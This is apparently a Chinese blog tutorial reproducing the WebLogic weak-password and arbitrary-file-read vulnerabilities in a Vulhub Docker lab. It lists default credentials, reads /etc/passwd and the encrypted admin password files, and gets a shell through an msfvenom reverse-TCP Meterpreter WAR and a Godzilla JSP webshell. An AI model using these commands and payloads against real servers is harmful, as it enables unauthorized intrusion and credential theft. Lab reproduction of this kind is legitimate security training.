「Vulhub」weblogic弱密码复现

环境

在复现weblogic弱密码的漏洞前,得先查看电脑内是否存在这些环境,如果没有请下载或配置这些环境。

1. vulhub

Vulhub是一个基于dockerdocker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

官方仓库链接 :vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose (github.com)

官方文档链接:Vulhub - Docker-Compose file for vulnerability environment

2. Docker

Docker是一个开源的应用容器引擎。

它允许开发者将应用及其依赖打包到一个轻量级、可移植的容器中,然后发布到任何流行的Linux或Windows操作系统上。Docker容器的设计旨在提高自动化、性能和安全性,它们通过沙箱机制实现相互隔离,且启动迅速,资源需求低。

Orbstack 「MacOS」

由于笔者用的电脑为Mac系统,所以在此推荐一款软件,能够更快速的去打开、运行一个Docker容器。

官方网站:OrbStack · Fast, light, simple Docker & Linux on macOS

同时,我们可以采用两种方式去下载,看各位喜欢哪种方式了。

下载完后,我们打开这个软件,并在命令行中输入docker version命令,判断是否成功安装。

这样一来,我们就拥有了Docker环境。

windows

在安装Docker之前,一定要先看电脑里是否安装了WSL,没有安装的话再根据官方文档安装一下。

安装 WSL | Microsoft Learn

接着再来看下这篇微软的官方文章及安装教程:WSL 上的 Docker 容器入门 | Microsoft Learn

之后下载安装即可。

如果出现安装完Docker Desktop后,拉取镜像缓慢的问题,请搜索「docker desktop设置国内镜像地址」。

Orbstack软件为🌰:

3. Docker Compose

Mac系统

Mac系统,请用如下命令进行下载。 (ps: 由于很早之前安装的环境,忘了是否自带 Docker Compose 了)

bash 复制代码
curl -L "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose

之后进入 /usr/local/bin这个文件夹内,通过命令给予可执行权限:

bash 复制代码
chmod +x docker-compose

最后通过命令,查看是否安装成功.

windows系统

下载链接: Releases · docker/compose (github.com)

下载一个适合自己电脑的版本,放置随便一个文件夹下,并对其配置环境变量即可。

3. kali linux

Kali Linux是基于DebianLinux发行版。其内部预装了许多渗透测试软件,包括nmapWiresharkJohn the Ripper,以及Aircrack-ng等。是一款专门设计用于数字取证和渗透测试的专业级Linux操作系统。

下载

下载地址:Get Kali | Kali Linux

之后选择一个适合自己的版本,下载就好了。

当然,由于版本过于新,笔者建议在下载一个老版本的kali镜像,比如:2021版本。

通过过往kali镜像地址,可以下载一个老版本的镜像,笔者这里选择的是:kali-2021.4版本。

选择合适的下载即可。

安装

以MacOS Arm架构为例,使用软件parallels desktop导入镜像文件。

选中自己新下载好的镜像,然后继续安装。

选择图形化安装。

接下来就不用说了,直接无脑中文。

地区选择中国。

键盘选择汉语。

之后继续下一步。

主机名直接设置成kali就好。

配置网络这里笔者直接用localhost了。

创建非root用户,随便起个名字。

创建密码。

剩下的就是自己安装配置了。

选择结束分区设定并将修改写入磁盘,继续。

接着就开始安装了:

选择第一个回车就好

输入设置的账号密码后就进入到了系统中,然后我们试着去修改root的密码。

命令: sudo passwd root

设置完root账号密码后,登陆root账号看一下是否成功。

ssh远程连接

  • 禁用防火墙

    ufw disbale

  • 永久禁用:

    systemctl disable ufw

    可能最开始并没有ufw这个,需要自己进行下载一下,也可以输入ufw,没有的话下载一个即可。

  • 启动ssh

    systemctl start ssh

  • 自启动ssh

    systemctl enable ssh

  • 修改配置文件

    vi /etc/ssh/sshd_config 添加:PermitRootLogin yes保存退出。

  • 重新启动ssh

    service ssh restart

通过ssh工具,即可成功连接。

复现

1.搭建靶场

看到这里,默认上述环境皆已经搭建完毕,也已经存在了上述这些环境并且已经开启了Orbstack或者Docker desktop

通过git下载这个仓库后,进入这个vulhub文件夹下内的weblogic下的weak_password,通过命令docker-compose up -d启动这个weak_password靶场。

注意:第一次构建的话会很慢,会下载很多东西,这是正常现象。

接下来,继续通过命令查看端口信息 docker-compose ps

能看到实际上是占用7001端口的,那么就在浏览器中输入地址查看下是否搭建成功:

或者可以根据自己本机ip,在浏览器下通过该ip访问:

结果都是一样的

2.dirsearch

dirsearch 是一个命令行工具,主要用于目录暴力破解和网络内容发现。 那么,打开kali linux,并输入dirsearch,第一次输入命令时会让下载这个,根据提示apt install 就好了。

之后,通过命令尝试暴力破解下该地址。

bash 复制代码
dirsearch -u "地址"

结果已经扫出来了,根据判断,直接在url上拼接个console

会自动重定向到这个地址/console/login/LoginForm.jsp, 显而易见,登陆页面出现了。

3.登陆

漏洞描述:利用常用弱口令暴力破解进入后台 附weblogic常用弱口令:

makefile 复制代码
system:password 
weblogic:weblogic 
admin:secruity 
joe:password 
mary:password 
system:sercurity 
wlcsystem: wlcsystem 
weblogic:Oracle@123

之前通过dirsearch破解出来了其他路径,咱可以尝试下都是啥东西,咱这里呢,笔者只尝试了/hello路径。

实际上,这里会存在一个任意文件读取漏洞,这个漏洞啊可以读取服务器任意文件。在读取到密钥和密码密文以后,可以解密出后台密码。

bash 复制代码
    http://ip:7001/hello/file.jsp?path=/etc/passwd

之后就会把/etc/passwd下载出来,就比如,这样:

再然后,我们就得需要用Bp「burpsuite」软件去repeater重复发起请求了。

ruby 复制代码
密文绝对路径:/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
相对路径:security/SerializedSystemIni.dat 
密钥绝对路径: /root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml 
相对路径:config/config.xml

把这俩绝对路径搞里头,替换/etc/passwd,发送。

因为使用的为MAC电脑,可能由于不适配中文字体?导致出现了这样的乱码,那么只能从Hex文件下手了,虽然可能会有一丢丢的麻烦。

点击后是这个样子的,接着我们从这个看起来是ù的字符开始,用鼠标划到最后,右键保存。

保存后,我们用软件打开,结果如下:

明显看着不是很正确,毕竟前面有2行空格,那么就想个办法去掉空格好了。

重新在Bp内看这个Hex文件,想要去掉空格的话,是不是只需要从后面保存文件就行了呢,这个需要咱一点一点实验。

复制到文件后,并用软件打开,结果如下:

没有空格了,可能这个是正确的,但是请多尝试几次,有可能会出现字节长度不一致的问题导致用一剑破解密码失败。

上述工作完成后,我们用/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml去拿到密钥。

使用一剑把文件以及密钥搞里头。

密码就破解出来了,再根据之前weblogic常用弱口令的账号,尝试一下是否能够进去。

能够看到已经成功登陆到后台了。

4.getshell

1. 第一种方法

注意:「可能需要kali linux 2021版本以下」,因为2023版本笔者并没有实现出来。

通过命令生成一个war包

msfvenom -p java/meterpreter/reverse_tcp lhost=本机kali虚拟机ip lport=4444 -f war -o java.war

然后把文件下载到本地,之后还是在kali虚拟机下msfconsole配置。

bash 复制代码
    use exploit/multi/handler  
    set payload java/meterpreter/reverse_tcp 
    set LHOST kali虚拟机ip  
    set LPORT 4444  
    run

之后回到后台,把刚才生成的war包安装进去。

然后再下一步

一直下一步,最后点击完成。

最后,去浏览器url地址访问一下这个路径,看下能不能getshell。

http://ip/java

回到kali,msfsoncole上,已经成功了。

2. 第二种方法

这种方式需要生成一个jsp,然后getshell。 因为笔者2023kali版本不行,于是最开始用的就是第二种办法。

这里选择使用BeichenDream/Godzilla: 哥斯拉 (github.com)

先生成一个jsp文件:

保存后打开文件所在位置,然后压缩成zip文件,并更名后再更改后缀为war。

之后还是之前的方式去上传安装。 完成后还是打开哥斯拉,getshell

点击测试连接,会出现success的alert,代表我们已经成功了。之后再点击添加。

大功告成!

相关推荐
落樱坠入星野20 分钟前
拿下阿里云之后如何在本地运行镜像进行分析
经验分享·安全·网络安全·阿里云·云计算
iSee85741 分钟前
ArcGIS地理空间平台 manager 任意文件读取漏洞复现
安全
丶21361 小时前
【鉴权】深入了解 Cookie:Web 开发中的客户端存储小数据
前端·安全·web
_.Switch8 小时前
高级Python自动化运维:容器安全与网络策略的深度解析
运维·网络·python·安全·自动化·devops
JokerSZ.8 小时前
【基于LSM的ELF文件安全模块设计】参考
运维·网络·安全
SafePloy安策8 小时前
软件加密与授权管理:构建安全高效的软件使用体系
安全
芯盾时代8 小时前
数字身份发展趋势前瞻:身份韧性与安全
运维·安全·网络安全·密码学·信息与通信
北京搜维尔科技有限公司11 小时前
搜维尔科技:【应用】Xsens在荷兰车辆管理局人体工程学评估中的应用
人工智能·安全
云起无垠11 小时前
技术分享 | 大语言模型赋能软件测试:开启智能软件安全新时代
人工智能·安全·语言模型